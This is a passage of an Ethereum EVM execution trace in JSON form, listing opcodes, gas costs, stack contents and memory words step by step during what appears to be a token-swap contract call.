00000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5116,"op":"SUB","gas":106027,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5117,"op":"DUP9","gas":106024,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5118,"op":"DUP2","gas":106021,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5119,"op":"AND","gas":106018,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5120,"op":"PUSH1","gas":106015,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5122,"op":"DUP4","gas":106012,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5123,"op":"ADD","gas":106009,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5124,"op":"MSTORE","gas":106006,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1c4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":5125,"op":"DUP8","gas":106000,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":5126,"op":"DUP2","gas":105997,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":5127,"op":"AND","gas":105994,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":5128,"op":"PUSH1","gas":105991,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":5130,"op":"DUP4","gas":105988,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":5131,"op":"ADD","gas":105985,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":5132,"op":"MSTORE","gas":105982,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x1e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":5133,"op":"PUSH1","gas":105976,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5135,"op":"SWAP2","gas":105973,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x1c0","0xffffffffffffffffffffffffffffffffffffffff","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5136,"op":"PUSH32","gas":105970,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5169,"op":"SWAP1","gas":105967,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0xffffffffffffffffffffffffffffffffffffffff","0x1c0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd